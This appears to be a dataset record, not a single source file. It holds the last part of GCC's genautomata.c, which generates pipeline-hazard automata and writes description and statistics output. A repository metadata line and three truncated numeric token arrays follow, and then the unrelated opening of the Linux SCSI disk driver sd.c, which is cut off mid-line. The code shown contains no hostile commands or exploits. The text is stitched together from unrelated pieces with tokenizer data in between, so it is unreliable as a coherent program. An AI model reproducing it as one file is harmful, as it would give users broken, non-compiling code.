CPU_CODE_PARAMETER_NAME, description->query_units_num); if (description->query_units_num > 0) for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { fprintf (output_file, " if (("); output_reserved_units_table_name (output_file, automaton); fprintf (output_file, " [((struct %s *) %s)->", CHIP_NAME, STATE_NAME); output_chip_member_name (output_file, automaton); fprintf (output_file, " * %d + %s / 8] >> (%s %% 8)) & 1)\n", (description->query_units_num + 7) / 8, CPU_CODE_PARAMETER_NAME, CPU_CODE_PARAMETER_NAME); fprintf (output_file, " return 1;\n"); } fprintf (output_file, " return 0;\n}\n\n"); } /* The following function outputs a function to check if insn has a dfa reservation. */ static void output_insn_has_dfa_reservation_p (void) { fprintf (output_file, "bool\n%s (rtx %s ATTRIBUTE_UNUSED)\n{\n", INSN_HAS_DFA_RESERVATION_P_FUNC_NAME, INSN_PARAMETER_NAME); if (DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num == 0) { fprintf (output_file, " return false;\n}\n\n"); return; } fprintf (output_file, " int %s;\n\n", INTERNAL_INSN_CODE_NAME); fprintf (output_file, " if (%s == 0)\n %s = %s;\n", INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " else\n\ {\n\ %s = %s (%s);\n\ if (%s > %s)\n\ %s = %s;\n\ }\n\n", INTERNAL_INSN_CODE_NAME, DFA_INSN_CODE_FUNC_NAME, INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " return %s != %s;\n}\n\n", INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); } /* The function outputs PHR interface functions `dfa_clean_insn_cache' and 'dfa_clear_single_insn_cache'. */ static void output_dfa_clean_insn_cache_func (void) { fprintf (output_file, "void\n%s (void)\n{\n int %s;\n\n", DFA_CLEAN_INSN_CACHE_FUNC_NAME, I_VARIABLE_NAME); fprintf (output_file, " for (%s = 0; %s < %s; %s++)\n %s [%s] = -1;\n}\n\n", I_VARIABLE_NAME, I_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME, I_VARIABLE_NAME, DFA_INSN_CODES_VARIABLE_NAME, I_VARIABLE_NAME); fprintf (output_file, "void\n%s (rtx %s)\n{\n int %s;\n\n", DFA_CLEAR_SINGLE_INSN_CACHE_FUNC_NAME, INSN_PARAMETER_NAME, I_VARIABLE_NAME); fprintf (output_file, " %s = INSN_UID (%s);\n if (%s < %s)\n %s [%s] = -1;\n}\n\n", I_VARIABLE_NAME, INSN_PARAMETER_NAME, I_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME, DFA_INSN_CODES_VARIABLE_NAME, I_VARIABLE_NAME); } /* The function outputs PHR interface function `dfa_start'. */ static void output_dfa_start_func (void) { fprintf (output_file, "void\n%s (void)\n{\n %s = get_max_uid ();\n", DFA_START_FUNC_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME); fprintf (output_file, " %s = XNEWVEC (int, %s);\n", DFA_INSN_CODES_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME); fprintf (output_file, " %s ();\n}\n\n", DFA_CLEAN_INSN_CACHE_FUNC_NAME); } /* The function outputs PHR interface function `dfa_finish'. */ static void output_dfa_finish_func (void) { fprintf (output_file, "void\n%s (void)\n{\n free (%s);\n}\n\n", DFA_FINISH_FUNC_NAME, DFA_INSN_CODES_VARIABLE_NAME); } /* The page contains code for output description file (readable representation of original description and generated DFA(s). */ /* The function outputs string representation of IR reservation. */ static void output_regexp (regexp_t regexp) { fprintf (output_description_file, "%s", regexp_representation (regexp)); finish_regexp_representation (); } /* Output names of units in LIST separated by comma. */ static void output_unit_set_el_list (unit_set_el_t list) { unit_set_el_t el; for (el = list; el != NULL; el = el->next_unit_set_el) { if (el != list) fprintf (output_description_file, ", "); fprintf (output_description_file, "%s", el->unit_decl->name); } } /* Output patterns in LIST separated by comma. */ static void output_pattern_set_el_list (pattern_set_el_t list) { pattern_set_el_t el; int i; for (el = list; el != NULL; el = el->next_pattern_set_el) { if (el != list) fprintf (output_description_file, ", "); for (i = 0; i < el->units_num; i++) fprintf (output_description_file, (i == 0 ? "%s" : " %s"), el->unit_decls [i]->name); } } /* The function outputs string representation of IR define_reservation and define_insn_reservation. */ static void output_description (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) { if (DECL_UNIT (decl)->excl_list != NULL) { fprintf (output_description_file, "unit %s exclusion_set: ", DECL_UNIT (decl)->name); output_unit_set_el_list (DECL_UNIT (decl)->excl_list); fprintf (output_description_file, "\n"); } if (DECL_UNIT (decl)->presence_list != NULL) { fprintf (output_description_file, "unit %s presence_set: ", DECL_UNIT (decl)->name); output_pattern_set_el_list (DECL_UNIT (decl)->presence_list); fprintf (output_description_file, "\n"); } if (DECL_UNIT (decl)->final_presence_list != NULL) { fprintf (output_description_file, "unit %s final_presence_set: ", DECL_UNIT (decl)->name); output_pattern_set_el_list (DECL_UNIT (decl)->final_presence_list); fprintf (output_description_file, "\n"); } if (DECL_UNIT (decl)->absence_list != NULL) { fprintf (output_description_file, "unit %s absence_set: ", DECL_UNIT (decl)->name); output_pattern_set_el_list (DECL_UNIT (decl)->absence_list); fprintf (output_description_file, "\n"); } if (DECL_UNIT (decl)->final_absence_list != NULL) { fprintf (output_description_file, "unit %s final_absence_set: ", DECL_UNIT (decl)->name); output_pattern_set_el_list (DECL_UNIT (decl)->final_absence_list); fprintf (output_description_file, "\n"); } } } fprintf (output_description_file, "\n"); for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_reserv) { fprintf (output_description_file, "reservation %s: ", DECL_RESERV (decl)->name); output_regexp (DECL_RESERV (decl)->regexp); fprintf (output_description_file, "\n"); } else if (decl->mode == dm_insn_reserv && decl != advance_cycle_insn_decl) { fprintf (output_description_file, "insn reservation %s ", DECL_INSN_RESERV (decl)->name); print_rtl (output_description_file, DECL_INSN_RESERV (decl)->condexp); fprintf (output_description_file, ": "); output_regexp (DECL_INSN_RESERV (decl)->regexp); fprintf (output_description_file, "\n"); } else if (decl->mode == dm_bypass) fprintf (output_description_file, "bypass %d %s %s\n", DECL_BYPASS (decl)->latency, DECL_BYPASS (decl)->out_insn_name, DECL_BYPASS (decl)->in_insn_name); } fprintf (output_description_file, "\n\f\n"); } /* The function outputs name of AUTOMATON. */ static void output_automaton_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "#%d", automaton->automaton_order_num); else fprintf (f, "`%s'", automaton->corresponding_automaton_decl->name); } /* Maximal length of line for pretty printing into description file. */ #define MAX_LINE_LENGTH 70 /* The function outputs units name belonging to AUTOMATON. */ static void output_automaton_units (automaton_t automaton) { decl_t decl; const char *name; int curr_line_length; int there_is_an_automaton_unit; int i; fprintf (output_description_file, "\n Corresponding units:\n"); fprintf (output_description_file, " "); curr_line_length = 4; there_is_an_automaton_unit = 0; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit && (DECL_UNIT (decl)->corresponding_automaton_num == automaton->automaton_order_num)) { there_is_an_automaton_unit = 1; name = DECL_UNIT (decl)->name; if (curr_line_length + strlen (name) + 1 > MAX_LINE_LENGTH ) { curr_line_length = strlen (name) + 4; fprintf (output_description_file, "\n "); } else { curr_line_length += strlen (name) + 1; fprintf (output_description_file, " "); } fprintf (output_description_file, "%s", name); } } if (!there_is_an_automaton_unit) fprintf (output_description_file, "<None>"); fprintf (output_description_file, "\n\n"); } /* The following variable is used for forming array of all possible cpu unit reservations described by the current DFA state. */ static VEC(reserv_sets_t,heap) *state_reservs; /* The function forms `state_reservs' for STATE. */ static void add_state_reservs (state_t state) { alt_state_t curr_alt_state; if (state->component_states != NULL) for (curr_alt_state = state->component_states; curr_alt_state != NULL; curr_alt_state = curr_alt_state->next_sorted_alt_state) add_state_reservs (curr_alt_state->state); else VEC_safe_push (reserv_sets_t,heap, state_reservs, state->reservs); } /* The function outputs readable representation of all out arcs of STATE. */ static void output_state_arcs (state_t state) { arc_t arc; ainsn_t ainsn; const char *insn_name; int curr_line_length; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) { ainsn = arc->insn; gcc_assert (ainsn->first_insn_with_same_reservs); fprintf (output_description_file, " "); curr_line_length = 7; fprintf (output_description_file, "%2d: ", ainsn->insn_equiv_class_num); do { insn_name = ainsn->insn_reserv_decl->name; if (curr_line_length + strlen (insn_name) > MAX_LINE_LENGTH) { if (ainsn != arc->insn) { fprintf (output_description_file, ",\n "); curr_line_length = strlen (insn_name) + 6; } else curr_line_length += strlen (insn_name); } else { curr_line_length += strlen (insn_name); if (ainsn != arc->insn) { curr_line_length += 2; fprintf (output_description_file, ", "); } } fprintf (output_description_file, "%s", insn_name); ainsn = ainsn->next_same_reservs_insn; } while (ainsn != NULL); fprintf (output_description_file, " %d \n", arc->to_state->order_state_num); } fprintf (output_description_file, "\n"); } /* The following function is used for sorting possible cpu unit reservation of a DFA state. */ static int state_reservs_cmp (const void *reservs_ptr_1, const void *reservs_ptr_2) { return reserv_sets_cmp (*(const_reserv_sets_t const*) reservs_ptr_1, *(const_reserv_sets_t const*) reservs_ptr_2); } /* The following function is used for sorting possible cpu unit reservation of a DFA state. */ static void remove_state_duplicate_reservs (void) { size_t i, j; for (i = 1, j = 0; i < VEC_length (reserv_sets_t, state_reservs); i++) if (reserv_sets_cmp (VEC_index (reserv_sets_t, state_reservs, j), VEC_index (reserv_sets_t, state_reservs, i))) { j++; VEC_replace (reserv_sets_t, state_reservs, j, VEC_index (reserv_sets_t, state_reservs, i)); } VEC_truncate (reserv_sets_t, state_reservs, j + 1); } /* The following function output readable representation of DFA(s) state used for fast recognition of pipeline hazards. State is described by possible (current and scheduled) cpu unit reservations. */ static void output_state (state_t state) { size_t i; state_reservs = 0; fprintf (output_description_file, " State #%d", state->order_state_num); fprintf (output_description_file, state->new_cycle_p ? " (new cycle)\n" : "\n"); add_state_reservs (state); qsort (VEC_address (reserv_sets_t, state_reservs), VEC_length (reserv_sets_t, state_reservs), sizeof (reserv_sets_t), state_reservs_cmp); remove_state_duplicate_reservs (); for (i = 1; i < VEC_length (reserv_sets_t, state_reservs); i++) { fprintf (output_description_file, " "); output_reserv_sets (output_description_file, VEC_index (reserv_sets_t, state_reservs, i)); fprintf (output_description_file, "\n"); } fprintf (output_description_file, "\n"); output_state_arcs (state); VEC_free (reserv_sets_t,heap, state_reservs); } /* The following function output readable representation of DFAs used for fast recognition of pipeline hazards. */ static void output_automaton_descriptions (void) { automaton_t automaton; for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { fprintf (output_description_file, "\nAutomaton "); output_automaton_name (output_description_file, automaton); fprintf (output_description_file, "\n"); output_automaton_units (automaton); pass_states (automaton, output_state); } } /* The page contains top level function for generation DFA(s) used for PHR. */ /* The function outputs statistics about work of different phases of DFA generator. */ static void output_statistics (FILE *f) { automaton_t automaton; int states_num; #ifndef NDEBUG int transition_comb_vect_els = 0; int transition_full_vect_els = 0; int min_issue_delay_vect_els = 0; int locked_states = 0; #endif for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { fprintf (f, "\nAutomaton "); output_automaton_name (f, automaton); fprintf (f, "\n %5d NDFA states, %5d NDFA arcs\n", automaton->NDFA_states_num, automaton->NDFA_arcs_num); fprintf (f, " %5d DFA states, %5d DFA arcs\n", automaton->DFA_states_num, automaton->DFA_arcs_num); states_num = automaton->DFA_states_num; if (!no_minimization_flag) { fprintf (f, " %5d minimal DFA states, %5d minimal DFA arcs\n", automaton->minimal_DFA_states_num, automaton->minimal_DFA_arcs_num); states_num = automaton->minimal_DFA_states_num; } fprintf (f, " %5d all insns %5d insn equivalence classes\n", description->insns_num, automaton->insn_equiv_classes_num); fprintf (f, " %d locked states\n", automaton->locked_states); #ifndef NDEBUG fprintf (f, "%5ld transition comb vector els, %5ld trans table els: %s\n", (long) VEC_length (vect_el_t, automaton->trans_table->comb_vect), (long) VEC_length (vect_el_t, automaton->trans_table->full_vect), (comb_vect_p (automaton->trans_table) ? "use comb vect" : "use simple vect")); fprintf (f, "%5ld min delay table els, compression factor %d\n", (long) states_num * automaton->insn_equiv_classes_num, automaton->min_issue_delay_table_compression_factor); transition_comb_vect_els += VEC_length (vect_el_t, automaton->trans_table->comb_vect); transition_full_vect_els += VEC_length (vect_el_t, automaton->trans_table->full_vect); min_issue_delay_vect_els += states_num * automaton->insn_equiv_classes_num; locked_states += automaton->locked_states; #endif } #ifndef NDEBUG fprintf (f, "\n%5d all allocated states, %5d all allocated arcs\n", allocated_states_num, allocated_arcs_num); fprintf (f, "%5d all allocated alternative states\n", allocated_alt_states_num); fprintf (f, "%5d all transition comb vector els, %5d all trans table els\n", transition_comb_vect_els, transition_full_vect_els); fprintf (f, "%5d all min delay table els\n", min_issue_delay_vect_els); fprintf (f, "%5d all locked states\n", locked_states); #endif } /* The function output times of work of different phases of DFA generator. */ static void output_time_statistics (FILE *f) { fprintf (f, "\n transformation: "); print_active_time (f, transform_time); fprintf (f, (!ndfa_flag ? ", building DFA: " : ", building NDFA: ")); print_active_time (f, NDFA_time); if (ndfa_flag) { fprintf (f, ", NDFA -> DFA: "); print_active_time (f, NDFA_to_DFA_time); } fprintf (f, "\n DFA minimization: "); print_active_time (f, minimize_time); fprintf (f, ", making insn equivalence: "); print_active_time (f, equiv_time); fprintf (f, "\n all automaton generation: "); print_active_time (f, automaton_generation_time); fprintf (f, ", output: "); print_active_time (f, output_time); fprintf (f, "\n"); } /* The function generates DFA (deterministic finite state automaton) for fast recognition of pipeline hazards. No errors during checking must be fixed before this function call. */ static void generate (void) { automata_num = split_argument; if (description->units_num < automata_num) automata_num = description->units_num; initiate_states (); initiate_arcs (); initiate_automata_lists (); initiate_pass_states (); initiate_excl_sets (); initiate_presence_absence_pattern_sets (); automaton_generation_time = create_ticker (); create_automata (); ticker_off (&automaton_generation_time); } /* This page mainly contains top level functions of pipeline hazards description translator. */ /* The following macro value is suffix of name of description file of pipeline hazards description translator. */ #define STANDARD_OUTPUT_DESCRIPTION_FILE_SUFFIX ".dfa" /* The function returns suffix of given file name. The returned string can not be changed. */ static const char * file_name_suffix (const char *file_name) { const char *last_period; for (last_period = NULL; *file_name != '\0'; file_name++) if (*file_name == '.') last_period = file_name; return (last_period == NULL ? file_name : last_period); } /* The function returns base name of given file name, i.e. pointer to first char after last `/' (or `\' for WIN32) in given file name, given file name itself if the directory name is absent. The returned string can not be changed. */ static const char * base_file_name (const char *file_name) { int directory_name_length; directory_name_length = strlen (file_name); #ifdef WIN32 while (directory_name_length >= 0 && file_name[directory_name_length] != '/' && file_name[directory_name_length] != '\\') #else while (directory_name_length >= 0 && file_name[directory_name_length] != '/') #endif directory_name_length--; return file_name + directory_name_length + 1; } /* The following is top level function to initialize the work of pipeline hazards description translator. */ static void initiate_automaton_gen (int argc, char **argv) { const char *base_name; int i; ndfa_flag = 0; split_argument = 0; /* default value */ no_minimization_flag = 0; time_flag = 0; stats_flag = 0; v_flag = 0; w_flag = 0; progress_flag = 0; for (i = 2; i < argc; i++) if (strcmp (argv [i], NO_MINIMIZATION_OPTION) == 0) no_minimization_flag = 1; else if (strcmp (argv [i], TIME_OPTION) == 0) time_flag = 1; else if (strcmp (argv [i], STATS_OPTION) == 0) stats_flag = 1; else if (strcmp (argv [i], V_OPTION) == 0) v_flag = 1; else if (strcmp (argv [i], W_OPTION) == 0) w_flag = 1; else if (strcmp (argv [i], NDFA_OPTION) == 0) ndfa_flag = 1; else if (strcmp (argv [i], PROGRESS_OPTION) == 0) progress_flag = 1; else if (strcmp (argv [i], "-split") == 0) { if (i + 1 >= argc) fatal ("-split has no argument."); fatal ("option `-split' has not been implemented yet\n"); /* split_argument = atoi (argument_vect [i + 1]); */ } /* Initialize IR storage. */ obstack_init (&irp); initiate_automaton_decl_table (); initiate_insn_decl_table (); initiate_decl_table (); output_file = stdout; output_description_file = NULL; base_name = base_file_name (argv[1]); obstack_grow (&irp, base_name, strlen (base_name) - strlen (file_name_suffix (base_name))); obstack_grow (&irp, STANDARD_OUTPUT_DESCRIPTION_FILE_SUFFIX, strlen (STANDARD_OUTPUT_DESCRIPTION_FILE_SUFFIX) + 1); obstack_1grow (&irp, '\0'); output_description_file_name = obstack_base (&irp); obstack_finish (&irp); } /* The following function checks existence at least one arc marked by each insn. */ static void check_automata_insn_issues (void) { automaton_t automaton; ainsn_t ainsn, reserv_ainsn; for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->first_insn_with_same_reservs && !ainsn->arc_exists_p) { for (reserv_ainsn = ainsn; reserv_ainsn != NULL; reserv_ainsn = reserv_ainsn->next_same_reservs_insn) if (automaton->corresponding_automaton_decl != NULL) { if (!w_flag) error ("Automaton `%s': Insn `%s' will never be issued", automaton->corresponding_automaton_decl->name, reserv_ainsn->insn_reserv_decl->name); else warning (0, "Automaton `%s': Insn `%s' will never be issued", automaton->corresponding_automaton_decl->name, reserv_ainsn->insn_reserv_decl->name); } else { if (!w_flag) error ("Insn `%s' will never be issued", reserv_ainsn->insn_reserv_decl->name); else warning (0, "Insn `%s' will never be issued", reserv_ainsn->insn_reserv_decl->name); } } } } /* The following vla is used for storing pointers to all achieved states. */ static VEC(state_t,heap) *automaton_states; /* This function is called by function pass_states to add an achieved STATE. */ static void add_automaton_state (state_t state) { VEC_safe_push (state_t,heap, automaton_states, state); } /* The following function forms list of important automata (whose states may be changed after the insn issue) for each insn. */ static void form_important_insn_automata_lists (void) { automaton_t automaton; decl_t decl; ainsn_t ainsn; arc_t arc; int i; size_t n; automaton_states = 0; /* Mark important ainsns. */ for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { VEC_truncate (state_t, automaton_states, 0); pass_states (automaton, add_automaton_state); for (n = 0; n < VEC_length (state_t, automaton_states); n++) { state_t s = VEC_index (state_t, automaton_states, n); for (arc = first_out_arc (s); arc != NULL; arc = next_out_arc (arc)) if (arc->to_state != s) { gcc_assert (arc->insn->first_insn_with_same_reservs); for (ainsn = arc->insn; ainsn != NULL; ainsn = ainsn->next_same_reservs_insn) ainsn->important_p = TRUE; } } } VEC_free (state_t,heap, automaton_states); /* Create automata sets for the insns. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) { automata_list_start (); for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->important_p && ainsn->insn_reserv_decl == DECL_INSN_RESERV (decl)) { automata_list_add (automaton); break; } DECL_INSN_RESERV (decl)->important_automata_list = automata_list_finish (); } } } /* The following is top level function to generate automat(a,on) for fast recognition of pipeline hazards. */ static void expand_automata (void) { int i; description = XCREATENODEVAR (struct description, sizeof (struct description) /* One entry for cycle advancing insn. */ + sizeof (decl_t) * VEC_length (decl_t, decls)); description->decls_num = VEC_length (decl_t, decls); description->query_units_num = 0; for (i = 0; i < description->decls_num; i++) { description->decls [i] = VEC_index (decl_t, decls, i); if (description->decls [i]->mode == dm_unit && DECL_UNIT (description->decls [i])->query_p) DECL_UNIT (description->decls [i])->query_num = description->query_units_num++; } all_time = create_ticker (); check_time = create_ticker (); if (progress_flag) fprintf (stderr, "Check description..."); check_all_description (); if (progress_flag) fprintf (stderr, "done\n"); ticker_off (&check_time); generation_time = create_ticker (); if (!have_error) { transform_insn_regexps (); check_unit_distributions_to_automata (); } if (!have_error) { generate (); check_automata_insn_issues (); } if (!have_error) { form_important_insn_automata_lists (); } ticker_off (&generation_time); } /* The following is top level function to output PHR and to finish work with pipeline description translator. */ static void write_automata (void) { output_time = create_ticker (); if (progress_flag) fprintf (stderr, "Forming and outputting automata tables..."); output_tables (); if (progress_flag) { fprintf (stderr, "done\n"); fprintf (stderr, "Output functions to work with automata..."); } output_chip_definitions (); output_max_insn_queue_index_def (); output_internal_min_issue_delay_func (); output_internal_trans_func (); /* Cache of insn dfa codes: */ fprintf (output_file, "\nstatic int *%s;\n", DFA_INSN_CODES_VARIABLE_NAME); fprintf (output_file, "\nstatic int %s;\n\n", DFA_INSN_CODES_LENGTH_VARIABLE_NAME); output_dfa_insn_code_func (); output_trans_func (); output_min_issue_delay_func (); output_internal_dead_lock_func (); output_dead_lock_func (); output_size_func (); output_internal_reset_func (); output_reset_func (); output_min_insn_conflict_delay_func (); output_default_latencies (); output_internal_insn_latency_func (); output_insn_latency_func (); output_internal_maximal_insn_latency_func (); output_maximal_insn_latency_func (); output_print_reservation_func (); /* Output function get_cpu_unit_code. */ fprintf (output_file, "\n#if %s\n\n", CPU_UNITS_QUERY_MACRO_NAME); output_get_cpu_unit_code_func (); output_cpu_unit_reservation_p (); output_insn_has_dfa_reservation_p (); fprintf (output_file, "\n#endif /* #if %s */\n\n", CPU_UNITS_QUERY_MACRO_NAME); output_dfa_clean_insn_cache_func (); output_dfa_start_func (); output_dfa_finish_func (); if (progress_flag) fprintf (stderr, "done\n"); if (v_flag) { output_description_file = fopen (output_description_file_name, "w"); if (output_description_file == NULL) { perror (output_description_file_name); exit (FATAL_EXIT_CODE); } if (progress_flag) fprintf (stderr, "Output automata description..."); output_description (); output_automaton_descriptions (); if (progress_flag) fprintf (stderr, "done\n"); output_statistics (output_description_file); } if (stats_flag) output_statistics (stderr); ticker_off (&output_time); if (time_flag) output_time_statistics (stderr); finish_states (); finish_arcs (); finish_automata_lists (); if (time_flag) { fprintf (stderr, "Summary:\n"); fprintf (stderr, " check time "); print_active_time (stderr, check_time); fprintf (stderr, ", generation time "); print_active_time (stderr, generation_time); fprintf (stderr, ", all time "); print_active_time (stderr, all_time); fprintf (stderr, "\n"); } /* Finish all work. */ if (output_description_file != NULL) { fflush (output_description_file); if (ferror (stdout) != 0) fatal ("Error in writing DFA description file %s: %s", output_description_file_name, xstrerror (errno)); fclose (output_description_file); } finish_automaton_decl_table (); finish_insn_decl_table (); finish_decl_table (); obstack_free (&irp, NULL); if (have_error && output_description_file != NULL) remove (output_description_file_name); } int main (int argc, char **argv) { rtx desc; progname = "genautomata"; if (init_md_reader_args (argc, argv) != SUCCESS_EXIT_CODE) return (FATAL_EXIT_CODE); initiate_automaton_gen (argc, argv); while (1) { int lineno; int insn_code_number; desc = read_md_rtx (&lineno, &insn_code_number); if (desc == NULL) break; switch (GET_CODE (desc)) { case DEFINE_CPU_UNIT: gen_cpu_unit (desc); break; case DEFINE_QUERY_CPU_UNIT: gen_query_cpu_unit (desc); break; case DEFINE_BYPASS: gen_bypass (desc); break; case EXCLUSION_SET: gen_excl_set (desc); break; case PRESENCE_SET: gen_presence_set (desc); break; case FINAL_PRESENCE_SET: gen_final_presence_set (desc); break; case ABSENCE_SET: gen_absence_set (desc); break; case FINAL_ABSENCE_SET: gen_final_absence_set (desc); break; case DEFINE_AUTOMATON: gen_automaton (desc); break; case AUTOMATA_OPTION: gen_automata_option (desc); break; case DEFINE_RESERVATION: gen_reserv (desc); break; case DEFINE_INSN_RESERVATION: gen_insn_reserv (desc); break; default: break; } } if (have_error) return FATAL_EXIT_CODE; puts ("/* Generated automatically by the program `genautomata'\n" " from the machine description file `md'. */\n\n" "#include \"config.h\"\n" "#include \"system.h\"\n" "#include \"coretypes.h\"\n" "#include \"tm.h\"\n" "#include \"rtl.h\"\n" "#include \"tm_p.h\"\n" "#include \"insn-config.h\"\n" "#include \"recog.h\"\n" "#include \"regs.h\"\n" "#include \"real.h\"\n" "#include \"output.h\"\n" "#include \"insn-attr.h\"\n" "#include \"toplev.h\"\n" "#include \"flags.h\"\n" "#include \"function.h\"\n"); if (VEC_length (decl_t, decls) > 0) { expand_automata (); write_automata (); } fflush (stdout); return (ferror (stdout) != 0 ? FATAL_EXIT_CODE : SUCCESS_EXIT_CODE); }
redstar3894/android-gcc
gcc/genautomata.c
C
gpl-2.0
298,911
[ 30522, 1013, 1008, 13117, 15559, 6412, 11403, 1012, 9385, 1006, 1039, 1007, 2456, 1010, 2541, 1010, 2526, 1010, 2494, 1010, 2432, 1010, 2384, 1010, 2289, 1010, 2263, 1010, 2268, 2489, 4007, 3192, 1010, 4297, 1012, 2517, 2011, 8748, 5003, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * sd.c Copyright (C) 1992 Drew Eckhardt * Copyright (C) 1993, 1994, 1995, 1999 Eric Youngdale * * Linux scsi disk driver * Initial versions: Drew Eckhardt * Subsequent revisions: Eric Youngdale * Modification history: * - Drew Eckhardt <drew@colorado.edu> original * - Eric Youngdale <eric@andante.org> add scatter-gather, multiple * outstanding request, and other enhancements. * Support loadable low-level scsi drivers. * - Jirka Hanika <geo@ff.cuni.cz> support more scsi disks using * eight major numbers. * - Richard Gooch <rgooch@atnf.csiro.au> support devfs. * - Torben Mathiasen <tmm@image.dk> Resource allocation fixes in * sd_init and cleanups. * - Alex Davis <letmein@erols.com> Fix problem where partition info * not being read in sd_open. Fix problem where removable media * could be ejected after sd_open. * - Douglas Gilbert <dgilbert@interlog.com> cleanup for lk 2.5.x * - Badari Pulavarty <pbadari@us.ibm.com>, Matthew Wilcox * <willy@debian.org>, Kurt Garloff <garloff@suse.de>: * Support 32k/1M disks. * * Logging policy (needs CONFIG_SCSI_LOGGING defined): * - setting up transfer: SCSI_LOG_HLQUEUE levels 1 and 2 * - end of transfer (bh + scsi_lib): SCSI_LOG_HLCOMPLETE level 1 * - entering sd_ioctl: SCSI_LOG_IOCTL level 1 * - entering other commands: SCSI_LOG_HLQUEUE level 3 * Note: when the logging level is set by the user, it must be greater * than the level indicated above to trigger output. */ #include <linux/module.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/bio.h> #include <linux/genhd.h> #include <linux/hdreg.h> #include <linux/errno.h> #include <linux/idr.h> #include <linux/interrupt.h> #include <linux/init.h> #include <linux/blkdev.h> #include <linux/blkpg.h> #include <linux/delay.h> #include <linux/mutex.h> #include <linux/string_helpers.h> #include <linux/async.h> #include <linux/slab.h> #include <linux/pm_runtime.h> #include <linux/pr.h> #include <linux/t10-pi.h> #include <linux/uaccess.h> #include <asm/unaligned.h> #include <scsi/scsi.h> #include <scsi/scsi_cmnd.h> #include <scsi/scsi_dbg.h> #include <scsi/scsi_device.h> #include <scsi/scsi_driver.h> #include <scsi/scsi_eh.h> #include <scsi/scsi_host.h> #include <scsi/scsi_ioctl.h> #include <scsi/scsicam.h> #include "sd.h" #include "scsi_priv.h" #include "scsi_logging.h" MODULE_AUTHOR("Eric Youngdale"); MODULE_DESCRIPTION("SCSI disk (sd) driver"); MODULE_LICENSE("GPL"); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK0_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK1_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK2_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK3_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK4_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK5_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK6_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK7_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK8_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK9_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK10_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK11_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK12_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK13_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK14_MAJOR); MODULE_ALIAS_BLOCKDEV_MAJOR(SCSI_DISK15_MAJOR); MODULE_ALIAS_SCSI_DEVICE(TYPE_DISK); MODULE_ALIAS_SCSI_DEVICE(TYPE_MOD); MODULE_ALIAS_SCSI_DEVICE(TYPE_RBC); MODULE_ALIAS_SCSI_DEVICE(TYPE_ZBC); #if !defined(CONFIG_DEBUG_BLOCK_EXT_DEVT) #define SD_MINORS 16 #else #define SD_MINORS 0 #endif static void sd_config_discard(struct scsi_disk *, unsigned int); static void sd_config_write_same(struct scsi_disk *); static int 